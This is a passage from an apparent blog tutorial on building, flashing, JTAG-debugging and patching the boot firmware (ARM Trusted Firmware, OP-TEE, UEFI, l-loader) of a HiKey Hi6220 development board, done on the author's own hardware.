[    0.000000] Kernel command line: BOOT_IMAGE=/boot/Image console=tty0 console=ttyAMA3,115200 root=/dev/disk/by-partlabel/system rootwait rw quiet efi=noruntime
[...]

Then inspect the mounted partitions:

(hikey)$ mount | grep mmc
/dev/mmcblk0p9 on / type ext4 (rw,relatime,data=ordered)
/dev/mmcblk0p6 on /boot/efi type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)

And the eMMC partition table:

(hikey)$ sudo partx -s /dev/mmcblk0
NR   START      END  SECTORS SIZE NAME       UUID
 1    2048     4095     2048   1M vrl        496847ab-56a1-4cd5-a1ad-47f4acf055c9
 2    4096     6143     2048   1M vrl_backup 61a36fc1-8efb-4899-84d8-b61642efa723
 3    6144     8191     2048   1M mcuimage   65007411-962d-4781-9b2c-51dd7df22cc3
 4    8192    24575    16384   8M fastboot   496847ab-56a1-4cd5-a1ad-47f4acf055c9
 5   24576    28671     4096   2M nvme       00354bcd-bbcb-4cb3-b5ae-cdefcb5dac43
 6   28672   159743   131072  64M boot       5c0f213c-17e1-4149-88c8-8b50fb4ec70e
 7  159744   684031   524288 256M reserved   bed8ebdc-298e-4a7a-b1f1-2500d98453b7
 8  684032  1208319   524288 256M cache      a092c620-d178-4ca7-b540-c4e26bd6d2e2
 9 1208320 15269854 14061535 6.7G system     fc56e345-2e8e-49ae-b2f8-5b9d263fe377

The sector size is 512, and there’s a 1M partition table starting at 0x0 not shown in the output. I prefer to backup the partitions I intend to overwrite while firmware testing, in this case the first 6 and the partition table.

(hikey)$ ls -la p*
-rw-r--r-- 1 root root  1048576 Jul  3 19:13 p1-vrl
-rw-r--r-- 1 root root  1048576 Jul  3 19:13 p2-vrl_backup
-rw-r--r-- 1 root root  1048576 Jul  3 19:13 p3-mcuimage
-rw-r--r-- 1 root root  8388608 Jul  3 19:13 p4-fastboot
-rw-r--r-- 1 root root  2097152 Jul  3 19:14 p5-nvme
-rw-r--r-- 1 root root 67108864 Jul  3 19:14 p6-boot
-rw-r--r-- 1 root root  1048576 Jul  3 19:13 ptable
(hikey)$ shasum -a 256 p*
30e14955ebf1352266dc2ff8067e68104607e750abb9d3b36582b8af909fcb58  p1-vrl
30e14955ebf1352266dc2ff8067e68104607e750abb9d3b36582b8af909fcb58  p2-vrl_backup
30e14955ebf1352266dc2ff8067e68104607e750abb9d3b36582b8af909fcb58  p3-mcuimage
9b0cae2b0493cccdc567e47a5551bfafcaea8f755e8f7e846f18c480d8e0dd25  p4-fastboot
2be59aabcf443128027ce62eb19a77fc7efa13c231e2045bb03bb427751fb96f  p5-nvme
b9744564bad753f69699be9a1484e3a8460ea271e076a5c7f2849ec7182a4224  p6-boot
7b95a7543fd61219bfa9ecb5f98fbe7418b8181f4acb14f214d6ce4c3865eb45  ptable

The first 3 partitions (vrl, vrl_backup, and mcuimage) are empty, and the hashes should be deterministic across reboots.

We’ll want to back up the “Alternate boot option”, or “Fast boot”, or “Boot mode” areas from the eMMC, which Linux makes available as /dev/mmcblk0boot{0,1} too! These “partitions” are essentially other block devices accessed through configuration registers in the eMMC PROM.

Awesome! Feel free to play around, I updated and removed the desktop manager as well as installed a Ubuntu-core to an SD card and attempted to boot that. Network manager is somewhat clunky yet it is possible to auto-associate with a personal WPA2 on boot for SSH access. When you feel at home let’s continue with loading our own firmware.

NB, to configure NetworkManager really fast:

nmcli con add con-name NETWORK-NAME ifname wlan1 type wifi ssid NETWORK-NAME ip4 192.168.0.120/24 gw4 192.168.0.1
nmcli con modify NETWORK-NAME wifi-sec.key-mgmt wpa-psk
nmcli con modify NETWORK-NAME wifi-sec.psk "SHARED-KEY"
nmcli con modify NETWORK-NAME ipv4.dns "8.8.8.8 8.8.4.4"
nmcli con up NETWORK-NAME

Build and compile firmware

When playing with firmware on new devices I have a few curiosities:

• Assuming physical access, what is the first instruction I can modify?
• What hardware strapping/jumpers exist to change that default “first instruction”?
• What firmware or loader does the CPU expect to jump into?

That last question is important, for the HiKey the recommended first is l-loader to immediately place the CPU into AArch64 mode. According to the HiKey User Guide: “(default) the unit boots from the first stage bootloader installed in the onboard eMMC device.” The l-loader will also contain the ARM “Secure ROM”, or BL1, code.

But in section 7 P2 - uSD CARD Socket “An ALPS micro SDHC card socket P2, part number SCHA4B0415, is installed on the HiKey board on the bottom left corner of the PCB. If a suitable bootloader is installed and a bootable microSD card is installed at power up, the HiKey board can boot from software installed on the microSD card and not the default OS stored in the on-board eMMC flash memory.”, and in section 1.6 Boot Mechanism of the Hi622v100 SoC documentation we see “The Hi6220 can boot from the on-chip BOOTROM (bootstrap mode), eMMC, which depends on the inputs of the BOOT_SEL and NAND_BOOT pins and eFUSE configurations.”, interesting! This is a development board, so boot flexibility is always preferred. Let’s make a note to investigate and inspect this “alternate-default” boot path later. The security_boot_flg eFUSE configuration is also worth revisiting.

To clarify the Application Processor documentation’s BOOT_SEL==1 means an open Boot Select from the HiKey documentation. This is the default state, where the BOOTROM is selected from the onboard eMMC flash.

To summarize, there’s some missing information about how the SoC can select the uSD as its default boot target. And missing information about boot-related eFUSEs and where on the SoC the l-loader is stored. But let’s not worry about that now.

HiKey provides a wonderful guide on creating a build environment for their firmware. Let’s follow it almost exactly.

sudo pip install wand

wget http://releases.linaro.org/15.02/components/toolchain/binaries/aarch64-linux-gnu/gcc-linaro-4.9-2015.02-3-x86_64_aarch64-linux-gnu.tar.xz
wget http://releases.linaro.org/15.02/components/toolchain/binaries/arm-linux-gnueabihf/gcc-linaro-4.9-2015.02-3-x86_64_arm-linux-gnueabihf.tar.xz

mkdir arm-tc arm64-tc
tar --strip-components=1 -C ${PWD}/arm64-tc -xf gcc-linaro-4.9-*-x86_64_aarch64-linux-gnu.tar.xz
tar --strip-components=1 -C ${PWD}/arm-tc -xf gcc-linaro-4.9-*-x86_64_arm-linux-gnueabihf.tar.xz
export PATH="${PWD}/arm-tc/bin:${PWD}/arm64-tc/bin:$PATH"

Now for the various firmware repositories

git clone -b hikey https://github.com/96boards/edk2.git linaro-edk2
git clone -b hikey https://github.com/96boards-hikey/arm-trusted-firmware.git
git clone -b hikey https://github.com/96boards/LinaroPkg.git
git clone https://github.com/96boards/l-loader.git
git clone git://git.linaro.org/uefi/uefi-tools.git
git clone https://github.com/OP-TEE/optee_os.git

The guide also provides a build script, let’s open and write build.sh:

#!/bin/bash

export PATH="${PWD}/arm-tc/bin:${PWD}/arm64-tc/bin:$PATH"
export AARCH64_TOOLCHAIN=GCC49
export EDK2_DIR=${PWD}/linaro-edk2
export UEFI_TOOLS_DIR=${PWD}/uefi-tools

cd ${EDK2_DIR}
${UEFI_TOOLS_DIR}/uefi-build.sh -c ../LinaroPkg/platforms.config -b RELEASE -a ../arm-trusted-firmware -s ../optee_os hikey

cd ../l-loader
ln -fs ${EDK2_DIR}/Build/HiKey/RELEASE_GCC49/FV/bl1.bin
ln -fs ${EDK2_DIR}/Build/HiKey/RELEASE_GCC49/FV/fip.bin
arm-linux-gnueabihf-gcc -c -o start.o start.S
arm-linux-gnueabihf-gcc -c -o debug.o debug.S
arm-linux-gnueabihf-ld -Bstatic -Tl-loader.lds -Ttext 0xf9800800 start.o debug.o -o loader
arm-linux-gnueabihf-objcopy -O binary loader temp
python gen_loader.py -o l-loader.bin --img_loader=temp --img_bl1=bl1.bin

# sgdisk usage requires sudo
sudo PTABLE=linux-4g bash -x generate_ptable.sh
python gen_loader.py -o ptable-linux.img --img_prm_ptable=prm_ptable.img

Your directory setup will look similar to:

ls -l /opt/hikey
total 65760     
drwxrwxr-x  8 4096 20:13 arm64-tc
drwxrwxr-x  8 4096 20:07 arm-tc
drwxrwxr-x 17 4096 20:25 arm-trusted-firmware
-rwxrwxr-x  1 1331 13:07 build.sh
drwxrwxr-x 42 4096 21:49 linaro-edk2
drwxrwxr-x  3 4096 13:42 LinaroPkg
drwxrwxr-x  3 4096 13:43 l-loader
drwxrwxr-x 11 4096 21:56 optee_os
drwxrwxr-x  3 4096 13:19 uefi-tools

Let’s execute ./build.sh and notice at the end of uefi-tools/uefi-build.sh:

Built build/hikey/release/bl2.bin successfully
Built build/hikey/release/bl1.bin successfully

  LD      fip_create

Built fip_create successfully

  LD      build/hikey/release/bl31/bl31.elf
  OD      build/hikey/release/bl31/bl31.dump
  BIN     build/hikey/release/bl31.bin

Built build/hikey/release/bl31.bin successfully

Firmware Image Package ToC:
---------------------------
- Trusted Boot Firmware BL2: offset=0x100, size=0x7100
  file: './build/hikey/release/bl2.bin'
- EL3 Runtime Firmware BL3-1: offset=0x7200, size=0x7010
  file: './build/hikey/release/bl31.bin'
- Secure Payload BL3-2 (Trusted OS): offset=0xE210, size=0x361C4
  file: '/opt/hikey/linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/tee.bin'
- SCP Firmware BL3-0: offset=0x443D4, size=0x23D00
  file: '/opt/hikey/linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin'
- Non-Trusted Firmware BL3-3: offset=0x680D4, size=0xF0000
  file: '/opt/hikey/linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/BL33_AP_UEFI.fd'
---------------------------
Creating "build/hikey/release/fip.bin"

We don’t need to do anything more in the guide, we have our:

• l-loader/l-loader.bin
• l-loader/fip.bin
• An updated partition table l-loader/ptable-linux.img

Components of the HiKey firmware

The components, stages, and references here are very well summarized in the ARM Trusted Firmware Design document. Below we’ll briefly map the downloaded and compiled components.

The following components can be found in the fip.bin:

• BL2: ./arm-trusted-firmware/build/hikey/release/bl2.bin
• BL3-0: ./linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin
• BL3-1: ./arm-trusted-firmware/build/hikey/release/bl31.bin
• BL3-2: ./linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/tee.bin
• BL3-3: ./linaro-edk2/Build/HiKey/RELEASE_GCC49/FV/BL33_AP_UEFI.fd

BL1 and the code from ./l-loader/start.S are written to l-loader.bin.

l-loader

The l-loader code is fairly small, check out the l-loader/start.S code to inspect what the CPU is jumping into immediately on boot at 0xF9800800. The included loader script places bl1.bin at 0xF9801000. It seems the 0xF980:0000 MMIO area is mapped by the memory controller from the eMMC alternate boot option by default (just a guess, I cannot find this in the SoC or AP documentation).

BL1: AP Trusted ROM

On the HiKey this is loaded from 0xF9800000 + 0x1000.

To borrow from the guide, BL1 performs the following initializations:

• Enable the Trusted Watchdog.
• Initialize the console.
• Configure the Interconnect to enable hardware coherency.
• Enable the MMU and map the memory it needs to access.
• Configure any required platform storage to load the next bootloader image (BL2).

We can find the implementation code:

./arm-trusted-firmware/bl1
./arm-trusted-firmware/plat/hikey/

BL2: Trusted Boot Firmware

BL2 performs the following initializations:

• Initialize the console.
• Configure any required platform storage to allow loading further bootloader images.
• Enable the MMU and map the memory it needs to access.
• Perform platform security setup to allow access to controlled components.
• Reserve some memory for passing information to the next bootloader image EL3 Runtime Software and populate it.
• Define the extents of memory available for loading each subsequent bootloader image.

We can find the implementation code:

./arm-trusted-firmware/bl2
./arm-trusted-firmware/bl2/bl2-main.c

This stage may also load a platform-specific (optional) binary into a region of secure memory. It doesn’t seem the HiKey is using a SCP_BL2, but if it did that optional image would execute and eventually return executing to BL2.

This stage is responsible for loading:

• BL31 (EL3)into trusted SRAM.
• An optional BL32 into a region of secure memory, to later execute in the secure world.
• BL33 into non-secure memory.

When finished, BL2 will pass control back to BL1 using an SMC call and the BL31 loaded entrypoint. BL1 is then responsible for jumping and executing BL31 within trusted SRAM. The HiKey is using a SCP and calling it BL3-0.

We can find the non-free binary for BL3-0:

./linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin

BL31: EL3 Runtime Software

As described in the guide, BL31 is very similar to BL1 and may replace most of its initialization. On a secured system the BL1 code is a ROM, thus EL3 may field update and boot time patch when changes are needed.

BL31 performs the following initializations:

• Initialize the console.
• Configure the Interconnect to enable hardware coherency.
• Enable the MMU and map the memory it needs to access.
• Initialize the generic interrupt controller.
• Initialize the power controller device.
• Detect the system topology.

That last line includes the runtime services initialization. BL31 then executes BL32 if it exists. This phase uses the information provides by BL2 to locate and execute the BL33 normal-world firmware. In our current state, the UEFI platform code.

We can find the implementation code:

./arm-trusted-firmware/bl31/

BL32: Secure-EL1 Payload (optional)

This is the optional Trusted OS running in the secure world setup and implemented using the runtime services in BL31 where communication occurs using the SMCs installed also in BL31.

We replace the Test secure world OS included with arm-trusted-firmware with OP-TEE. This replacement is seen in the build script above using the -s switch.

We can find the implementation code:

./optee_os/

BL33: Non-trusted Firmware (UEFI)

And finally the UEFI code is provided by ./linaro-edk2.

Flashing the Firmware

We need the fastboot tool:

sudo apt-get install fastboot

And the HiSilicon loader flasher:

wget https://raw.githubusercontent.com/96boards/burn-boot/master/hisi-idt.py

Now we need to put the device into recovery mode by changing the BOOT_SEL jumper and connecting to the HiKey USB OTG.

The recovery-mode is accessed via the USB OTG when the BOOT_SEL and autoboot (TOP) JUMPERs are closed.

I’ll remove the 96Boards signals expansion to clearly show the OTG and jumper configuration (Pins 1-2 Autoboot closed, pins 3-4 Boot select closed, pins 5-6 open). The board must be supplied power, keeping the barrel connector in is fine.

On my desktop I see:

usb 1-2: new full-speed USB device number 127 using xhci_hcd
usb 1-2: New USB device found, idVendor=12d1, idProduct=3609
usb 1-2: New USB device strings: Mfr=1, Product=4, SerialNumber=0
usb 1-2: Product: \xffffffe3\xffffff84\xffffffb0㌲㔴㜶㤸
usb 1-2: Manufacturer: 䕇䕎䥎
usbserial: USB Serial support registered for GSM modem (1-port)
option 1-2:1.0: GSM modem (1-port) converter detected
usb 1-2: GSM modem (1-port) converter now attached to ttyUSB0

To flash the l-loader and BL1 to 0xF9800800:

$ sudo python hisi-idt.py --img1=./l-loader/l-loader.bin
+----------------------+
(' Serial: ', '/dev/serial/by-id/usb-\xe4\x95\x87\xe4\x95\x8e\xe4\xa5\x8e_\xe3\x84\xb0\xe3\x8c\xb2\xe3\x94\xb4\xe3\x9c\xb6\xe3\xa4\xb8-if00-port0')
(' Image1: ', './l-loader/l-loader.bin')
(' Image2: ', '')
+----------------------+

('Sending', './l-loader/l-loader.bin', '...')
Done

The only documentation I have on the 0xF9800:0000 mapping is that it is missing from the HiSilicon guide, from page 225:

Module    Size  Base        Width
BOOTROM   32K   0xFFFF0000  32
SRAM_OFF  72K   0xFFF80000  32
UART0     4KB   0xF8015000  32
[...]

To flash the fip.bin and remaining stages to the eMMC:

$ sudo fastboot flash ptable l-loader/ptable-linux.img
target reported max download size of 268435456 bytes
sending 'ptable' (17 KB)...
OKAY [  0.001s]
writing 'ptable'...
OKAY [  0.002s]
finished. total time: 0.002s

$ sudo fastboot flash fastboot l-loader/fip.bin
target reported max download size of 268435456 bytes
sending 'fastboot' (1376 KB)...
OKAY [  0.035s]
writing 'fastboot'...
OKAY [  0.035s]
finished. total time: 0.070s

Booting updated firmware

Now to boot our updated firmware:

• Unplug the HiKey.
• Remove the BOOT_SEL jumper between pins 3-4.
• Attach your 96Boards signal expansion or UART breakout.
• Attach to the UART from on your desktop: sudo screen /dev/ttyUSB0 115200
• Restore power to the HiKey.

We should be greeted with updated times and revisions:

NOTICE:  Booting Trusted Firmware
NOTICE:  BL1: v1.1(release):167e4ed
NOTICE:  BL1: Built : 16:59:44, Nov 20 2016
NOTICE:  syspll frequency:1190494208Hz
NOTICE:  succeed to init lpddr3 rank0 dram phy
INFO:    lpddr3_freq_init, set ddrc 533mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    lpddr3_freq_init, set ddrc 800mhz
INFO:    init ddr3 rank0
INFO:    ddr3 rank1 init pass
INFO:    Samsung DDR
NOTICE:  BL1: Booting BL2
NOTICE:  acpu_dvfs_set_freq: set acpu freq success!
NOTICE:  BL2: v1.1(release):167e4ed
NOTICE:  BL2: Built : 16:59:44, Nov 20 2016
NOTICE:  BL1: Booting BL3-1
NOTICE:  BL3-1: v1.1(release):167e4ed
NOTICE:  BL3-1: Built : 16:59:44, Nov 20 20
INFO:    TEE-CORE: Initializing (2.2.0-89-gaae611c #1 Mon Nov 21 00:59:42 UTC 2016 aarch64)
INFO:    TEE-CORE: Initialized
UEFI firmware (version PreAlpha built at 16:59:29 on Nov 20 2016)

And booting Linux should also tell us: EFI v2.40 by Linaro HiKey EFI Nov 20 2016 16:59:32.

Building DEBUG Firmware

This wasn’t as straightforward as I hoped. Please take these suggestions with a grain of salt and verify the output is a debug build. I ended up “forcing” the build-type in several areas.

First modify ./build.sh and verify that linaro-edk2/Build/HiKey/DEBUG_GCC49 contains the firmware volume output:

# Add this "build type"
BUILD=DEBUG

cd ${EDK2_DIR}
if [[ "$BUILD" = "DEBUG" ]]; then
    export DEBUG=1
fi
${UEFI_TOOLS_DIR}/uefi-build.sh -c ../LinaroPkg/platforms.config -b $BUILD -a ../arm-trusted-firmware -s ../optee_os hikey

cd ../l-loader
ln -fs ${EDK2_DIR}/Build/HiKey/${BUILD}_GCC49/FV/bl1.bin
ln -fs ${EDK2_DIR}/Build/HiKey/${BUILD}_GCC49/FV/fip.bin

Now modify the OP-TEE profile in./LinaroPkg:

diff --git a/platforms.config b/platforms.config
index 2db0d24..0bacd63 100644
--- a/platforms.config
+++ b/platforms.config
@@ -105,17 +105,18 @@ DSC=HisiPkg/HiKeyPkg/HiKey.dsc
 ARCH=AARCH64
 UEFI_BIN=BL33_AP_UEFI.fd
 UEFI_IMAGE_DIR=HiKey
-BUILD_ATF=yes
+BUILD_ATF=debug
 ATF_SPD=opteed
 TOS_BIN=tee.bin
-BUILD_TOS=yes
+BUILD_TOS=debug
+

 SCP_BIN=HisiPkg/HiKeyPkg/NonFree/mcuimage.bin

And verify the new output from the build script:

Building opteed Trusted OS
Target: AARCH64
Build: other
Target: ARM
Build: other
CFG_ARM64_core=y
CROSS_COMPILE_ta_arm64=aarch64-linux-gnu-
CROSS_COMPILE=arm-linux-gnueabihf-
CROSS_COMPILE_core=aarch64-linux-gnu-
PROFILE=DEBUG
PLATFORM=hikey
PLATFORM_FLAVOR=
CFG_TEE_CORE_LOG_LEVEL=2
[...]
Target: AARCH64
Build: other
Building ARM Trusted Firmware for CircuitCo HiKey - DEBUG_GCC49
CROSS_COMPILE="aarch64-linux-gnu-"
BL30=/opt/hikey/linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin
BL31=
BL32=/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/tee.bin
BL33=/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/BL33_AP_UEFI.fd
SPD=opteed
BUILD_TYPE=debug

The final Table of Contents should resemble:

Firmware Image Package ToC:
---------------------------
- Trusted Boot Firmware BL2: offset=0x100, size=0x9100
  file: './build/hikey/debug/bl2.bin'
- EL3 Runtime Firmware BL3-1: offset=0x9200, size=0xB010
  file: './build/hikey/debug/bl31.bin'
- Secure Payload BL3-2 (Trusted OS): offset=0x14210, size=0x4D244
  file: '/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/tee.bin'
- SCP Firmware BL3-0: offset=0x61454, size=0x23D00
  file: '/opt/hikey/linaro-edk2/HisiPkg/HiKeyPkg/NonFree/mcuimage.bin'
- Non-Trusted Firmware BL3-3: offset=0x85154, size=0xF0000
  file: '/opt/hikey/linaro-edk2/Build/HiKey/DEBUG_GCC49/FV/BL33_AP_UEFI.fd'
---------------------------
Creating "build/hikey/debug/fip.bin"

Built build/hikey/debug/fip.bin successfully

JTAG the HiKey

There is another wonderful guide about JTAGging the HiKey, this is why I love this platform, such amazing documentation. That guide includes notes for Dangerous Prototype’s Bus Blaster, a very handy device I’ll use in this exploration.

Soldering the JTAG breakout

What you’ll need:

• A Bus Blaster or equivalent JTAG interface
• Basic soldering skills
• FTSH-105-01-L-DV-K to attach to the HiKey
• A SWD 10pin to 20pin JTAG breakout (if using the Bus Blaster)
• A SWD 10pin ribbon

I had the breakout and ribbon from my Black Magic Probe kit. :)

Soldering the FTSH-105-01-L-DV-K was easy, hold it in place with a finger and solder with an iron, some primed solder and flux.

The HiKey schematic very useful: https://www.96boards.org/wp-content/uploads/2015/02/96Boards-Hikey-Rev-A1.pdf

Knowing the pinout allowed me to trace each into the Bus Blaster’s breakout so I was absolutely sure I hadn’t attached a ribbon backward or soldered housing upside-down (it happens more often than it should in my life). I didn’t bother attaching power since the HiKey is self-powered and supplying too much voltage will brick your board.

Configuring the Bus Blaster

Plugging in the Bus Blaster’s USB to my desktop:

usb 1-9: new high-speed USB device number 6 using xhci_hcd
usb 1-9: New USB device found, idVendor=0403, idProduct=6010
usb 1-9: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-9: Product: Dual RS232-HS
usb 1-9: Manufacturer: FTDI
ftdi_sio 1-9:1.0: FTDI USB Serial Device converter detected
usb 1-9: Detected FT2232H
usb 1-9: FTDI USB Serial Device converter now attached to ttyUSB1
ftdi_sio 1-9:1.1: FTDI USB Serial Device converter detected
usb 1-9: Detected FT2232H
usb 1-9: FTDI USB Serial Device converter now attached to ttyUSB2

Let’s compile openocd:

git clone https://git.linaro.org/people/peter.griffin/openocd-code
cd openocd-code
git checkout armv8
git submodule update --init --recursive
autoreconf -iv

mkdir ../openocd
./configure --enable-ftdi --prefix `realpath ../openocd`
make
make install

The HiKey guides tells us:

• JP4, the target power select jumper, must be disconnected.
• The BBv3 buffer logic must be programmed with SVF from https://github.com/bharrisau/busblaster.

git clone https://github.com/bharrisau/busblaster
cd busblaster
../openocd/bin/openocd -f board/dp_busblaster_v3.cfg -c "adapter_khz 1000; init; svf ./synthesis/system.svf; shutdown"

We should see output similar to:

Open On-Chip Debugger 0.9.0-dev-00001-g1bef29e (2016-11-20-18:58)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.sourceforge.net/doc/doxygen/bugs.html
Info : If you need SWD support, flash KT-Link buffer from https://github.com/bharrisau/busblaster
and use dp_busblaster_kt-link.cfg instead
Error: session transport was not selected. Use 'transport select <transport>'
Info : session transport was not selected, defaulting to JTAG
adapter speed: 1000 kHz
Info : clock speed 1000 kHz
Info : JTAG tap: xc2c32a.tap tap/device found: 0x06e1c093 (mfg: 0x049, part: 0x6e1c, ver: 0x0)
Warn : gdb services need one or more targets defined
svf processing file: "./synthesis/system.svf"
TRST OFF;
[...]
Time used: 0m0s652ms 
svf file programmed successfully for 214 commands with 0 errors
shutdown command invoked

Attaching to the HiKey

Now we can use our compiled openocd and configured Bus Blaster:

export INTERFACE=interface/ftdi/dp_busblaster_kt-link.cfg
openocd/bin/openocd -f $INTERFACE -f target/hi6220.cfg
Open On-Chip Debugger 0.9.0-dev-00001-g1bef29e (2016-11-20-18:58)
Licensed under GNU GPL v2
For bug reports, read
    http://openocd.sourceforge.net/doc/doxygen/bugs.html
adapter speed: 10 kHz
jtag_ntrst_delay: 100
trst_and_srst combined srst_gates_jtag trst_push_pull srst_open_drain connect_deassert_srst
Info : clock speed 10 kHz
Info : JTAG tap: hi6220.dap tap/device found: 0x5ba00477 (mfg: 0x23b, part: 0xba00, ver: 0x5)
Info : hi6220.cpu: hardware has 6 breakpoints, 4 watchpoints

If the soldering or pinout was incorrect you may see results similar to:

Info : clock speed 10 kHz
Error: JTAG scan chain interrogation failed: all ones
Error: Check JTAG interface, timings, target power, etc.
Error: Trying to use configured scan chain anyway...
Error: hi6220.dap: IR capture error; saw 0x0f not 0x01
Warn : Bypassing JTAG setup events due to errors
Warn : Invalid ACK 0x7 in JTAG-DP transaction

If you see this, trace again, and really quick reflow the JTAG pads.

Open OpenOCD’s telnet interface:

$ telnet localhost 4444
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Open On-Chip Debugger
>

Try to halt the CPU:

> halt
number of cache level 2
cache l2 present :not supported
hi6220.cpu cluster 0 core 0 multi core
target state: halted
target halted in ARM64 state due to debug-request, current mode: EL2H
cpsr: 0x60000309 pc: 0x7ff421a8
MMU: enabled, D-Cache: enabled, I-Cache: enabled

Then inspect the CPU registers:

> reg
===== arm v8 registers
(34) x0 (/64): 0x0000000000000306 (dirty)
[...]
(58) x24 (/64): 0x000000007FF56584
(59) x25 (/64): 0x000000007FF565D3
(60) x26 (/64): 0x000000007FF56599
(61) x27 (/64): 0x000000003DBF7531
(62) x28 (/64): 0x000000003DBF7525
(63) x29 (/64): 0x0000000000000000
(64) x30 (/64): 0x000000007FF42184
(65) sp (/64): 0x000000003DFFF9B0
(66) pc (/64): 0x000000007FF421A8
(67) CPSR (/32): 0x60000309

Finally, let’s break and step:

> bp 0x7ff421a8 4 hw
breakpoint set at 0x        7ff421a8
> resume
target state: halted
target halted in ARM64 state due to breakpoint, current mode: EL2H
cpsr: 0x60000309 pc: 0x7ff421a8
MMU: enabled, D-Cache: enabled, I-Cache: enabled
> step
target state: halted
target halted in ARM64 state due to breakpoint, current mode: EL2H
cpsr: 0x60000309 pc: 0x7ff421a8
MMU: enabled, D-Cache: enabled, I-Cache: enabled
timeout waiting for target halt
in procedure 'step'

Run-time flashing

As an aside, we can read the l-loader and BL1 MMIO area (0xF980:0800) on the booted HiKey using:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/mman.h>
#include <inttypes.h>

int main(int argc, char **argv)
{
    uint64_t target = 0xf9800000;
    uint64_t size = 0xf000;

    unsigned int pagesize = (unsigned)getpagesize(); /* or sysconf(_SC_PAGESIZE)  */
    unsigned int map_size = pagesize;

    unsigned offset = (unsigned int)(target & (pagesize-1));
    if (offset + 4 > pagesize ) {
        // Access straddles page boundary:  add another page:
        map_size += pagesize;
    }

    int fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (fd == -1) {
        printf("Error opening /dev/mem (%d)\n", errno);
        exit(1);
    }

    void *map_base, *virt_addr;
    map_base = mmap(0, size, PROT_READ | PROT_WRITE, MAP_SHARED,
                    fd, 
                    target & ~((typeof(target))pagesize-1));
    if (map_base == (void *) -1) {
        printf("Error mapping (%d)\n", errno);
        exit(1);
    }

    virt_addr = map_base + offset;
    FILE* in = fopen("output.bin", "wb");
    fwrite((uint8_t *) virt_addr, size, 1, in);

    fclose(in);
    munmap(map_base, size);
    close(fd);

    return 0;
}

We should see our l-loader.bin when hexdump -C output.bin | less:

00000800  3e 00 00 ea 42 4f 4f 54  4d 41 47 49 43 4e 55 4d  |>...BOOTMAGICNUM|
00000810  42 45 52 21 00 08 80 f9  00 ea 80 f9 45 4e 54 52  |BER!........ENTR|
00000820  59 48 44 52 6c 6f 61 64  65 72 00 00 04 00 00 00  |YHDRloader......|
00000830  02 00 00 00 01 00 00 00  45 4e 54 52 59 48 44 52  |........ENTRYHDR|
00000840  62 6c 31 00 00 00 00 00  08 00 00 00 6d 00 00 00  |bl1.........m...|
00000850  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000860  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
[...]

Let’s see if we can flip a byte: sudo devmem -r 0xF980B730 b 0x56. This should change ‘v1.1’ to ‘V1.1’. But this change doesn’t persist, ha!

We should also see the contents at offset 0x0800 on the /dev/mmcblk0boot0 device in Linux:

(hikey)$ sudo dd if=/dev/mmcblk0boot0 of=/tmp/boot0 bs=512
8192+0 records in
8192+0 records out
4194304 bytes (4.2 MB) copied, 0.299964 s, 14.0 MB/s
(hikey)$ hexdump -C /tmp/boot0 | head -n 10
00000000  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000800  3e 00 00 ea 42 4f 4f 54  4d 41 47 49 43 4e 55 4d  |>...BOOTMAGICNUM|
00000810  42 45 52 21 00 08 80 f9  00 ea 80 f9 45 4e 54 52  |BER!........ENTR|
00000820  59 48 44 52 6c 6f 61 64  65 72 00 00 04 00 00 00  |YHDRloader......|
00000830  02 00 00 00 01 00 00 00  45 4e 54 52 59 48 44 52  |........ENTRYHDR|
00000840  62 6c 31 00 00 00 00 00  08 00 00 00 6d 00 00 00  |bl1.........m...|
00000850  01 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000860  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*

We can persist changes to the l-loader and BL1 code by writing back to the Alternate Boot option:

(hikey)$ echo 0 | sudo tee /sys/block/mmcblk0boot0/force_ro
0
(hikey)$ printf '\x56' | sudo dd conv=notrunc of=/tmp/boot0 bs=1 seek=$((0xb730))
(hikey)$ sudo dd if=/tmp/boot0 of=/dev/mmcblk0boot0 bs=512
8192+0 records in
8192+0 records out
4194304 bytes (4.2 MB) copied, 0.876785 s, 4.8 MB/s

Then reboot and check for a capital V:

NOTICE:  Booting Trusted Firmware
NOTICE:  BL1: V1.1(debug):167e4ed
NOTICE:  BL1: Built : 20:34:57, Nov 20 2016
INFO:    BL1: RAM 0xf9810000 - 0xf9818000